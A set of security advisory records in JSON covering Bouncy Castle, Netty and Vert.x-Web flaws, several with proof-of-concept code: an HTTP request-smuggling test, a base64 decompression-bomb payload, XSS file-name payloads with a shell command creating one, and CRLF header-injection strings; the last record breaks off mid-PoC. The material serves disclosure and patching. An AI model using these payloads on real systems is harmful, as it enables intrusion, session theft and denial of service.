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              "cpe:/a:redhat:amq_streams:3"
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            "defaultStatus": "unaffected",
            "product": "streams for Apache Kafka 3",
            "vendor": "Red Hat"
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        "datePublic": "2026-04-15T09:05:56.277Z",
        "descriptions": [
          {
            "lang": "en",
            "value": "A flaw was found in Legion of the Bouncy Castle Inc. BC-JAVA core. A covert timing channel vulnerability, caused by non-constant time comparisons, risks the leakage of private keys in the FrodoKEM implementation. An unauthenticated, remote attacker can potentially exploit this timing discrepancy to gain unauthorized access to sensitive cryptographic information."
          }
        ],
        "metrics": [
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              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
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              "privilegesRequired": "NONE",
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              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
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        "references": [
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            "tags": [
              "vdb-entry",
              "x_refsource_REDHAT"
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            "url": "https://access.redhat.com/security/cve/CVE-2026-5598"
          },
          {
            "name": "RHBZ#2458635",
            "tags": [
              "issue-tracking",
              "x_refsource_REDHAT"
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            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458635"
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          {
            "tags": [
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            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-5598.json"
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            "tags": [
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        "solutions": [
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            "lang": "en",
            "value": "RHSA-2026:12267: Red Hat JBoss EAP 7.4 ELS for RHEL 7 Server, Red Hat JBoss EAP 7.4 ELS for RHEL 8, Red Hat JBoss EAP 7.4 ELS for RHEL 9"
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            "value": "RHSA-2026:12269: Red Hat JBoss Enterprise Application Platform 7"
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        "timeline": [
          {
            "lang": "en",
            "time": "2026-04-15T10:01:04.531Z",
            "value": "Reported to Red Hat."
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          {
            "lang": "en",
            "time": "2026-04-15T09:05:56.277Z",
            "value": "Made public."
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        ],
        "title": "bouncycastle: BC-JAVA: private key leakage via non-constant time comparisons",
        "workarounds": [
          {
            "lang": "en",
            "value": "To mitigate this vulnerability, implement aggressive rate limiting and anomaly detection, specifically looking for unusual, high-frequency cryptographic handshake failures or anomalous traffic patterns targeting endpoints that handle key exchanges in the network logs."
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        "x_adpType": "supplier",
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          "defaultStatus": "unaffected",
          "modules": [
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          "packageName": "core",
          "platforms": [
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          "product": "BC-JAVA",
          "programFiles": [
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          "repo": "https://github.com/bcgit/bc-java",
          "vendor": "Legion of the Bouncy Castle Inc.",
          "versions": [
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      "credits": [
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          "type": "finder",
          "value": "Cristina Due\u00f1as Navarro (cristina.duenas@jtsec.es)"
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        {
          "lang": "en",
          "type": "finder",
          "value": "Sunwoo Lee and Seunghyun Yoon, Korea Institute of Energy Technology (KENTECH)"
        }
      ],
      "descriptions": [
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          "lang": "en",
          "supportingMedia": [
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              "type": "text/html",
              "value": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules).\u003cp\u003e This vulnerability is associated with program files FrodoEngine.Java.\u003c/p\u003e\u003cp\u003eThis issue affects BC-JAVA: from 1.71 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.\u003c/p\u003e"
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          ],
          "value": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules).\n\n This vulnerability is associated with program files FrodoEngine.Java.\n\n\n\nThis issue affects BC-JAVA: from 1.71 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "YES",
            "Recovery": "NOT_DEFINED",
            "Safety": "PRESENT",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.9,
            "baseSeverity": "HIGH",
            "exploitMaturity": "UNREPORTED",
            "privilegesRequired": "NONE",
            "providerUrgency": "RED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
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            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red",
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              "cweId": "CWE-385",
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      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-14T09:34:39.363Z",
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          "tags": [
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          "url": "https://github.com/bcgit/bc-java/commit/94abbd56413dfdac651fd878bc60253871ef5e87"
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        {
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          "url": "https://github.com/bcgit/bc-java/commit/8692e6b2b191fc4aafa32545c7a78bdb9bf110c5"
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      ],
      "source": {
        "discovery": "UNKNOWN"
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      "title": "Non-constant time comparisons risk private key leakage in FrodoKEM.",
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  "cveMetadata": {
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    "cveId": "CVE-2026-5598",
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    "dateReserved": "2026-04-05T07:25:44.930Z",
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T19:38:11Z",
    "nvd_published_at": "2025-10-22T15:15:31Z",
    "severity": "LOW"
  },
  "details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n    - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n    - Lines:\n        - 709\u2013713: `normalizedDir` is constructed without escaping\n        - 714\u2013731: `\u003cli\u003e\u003ca ...\u003e` elements insert file names directly into attributes and body without escaping\n        - 744: parent directory name construction\n        - 746\u2013751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n    - Directory listing is enabled using `StaticHandler`  \n      (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n    - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n    - Create an empty file in `public/` with one of the following names:\n      - `\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt`\n      - Or attribute injection: `evil\" onmouseover=\"alert(\u0027XSS\u0027)\".txt`\n    - Example:\n      ```bash\n      mkdir -p public\n      printf \u0027test\u0027 \u003e \"public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n      ```\n\n3. Start the server (example):\n    - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n    - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n    ```\n    GET /public/ HTTP/1.1\n    Host: 127.0.0.1:8890\n    Accept: text/html\n    Connection: close\n    ```\n\n5. Example response excerpt:\n    ```html\n    \u003cul id=\"files\"\u003e\n      \u003cli\u003e\n        \u003ca href=\"/public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n           title=\"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\u003e\n           \u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\n        \u003c/a\u003e\n      \u003c/li\u003e\n      ...\n    \u003c/ul\u003e\n    ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n    - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n    - Possible consequences:\n        - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n        - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n        - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n    - Uploaded files are served directly under a publicly accessible directory\n    - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n    - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE\u20112024\u201132966  \n- CVE\u20112019\u201115603",
  "id": "GHSA-45p5-v273-3qqr",
  "modified": "2026-01-21T16:37:06Z",
  "published": "2025-10-22T19:38:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11966"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vert-x3/vertx-web"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: 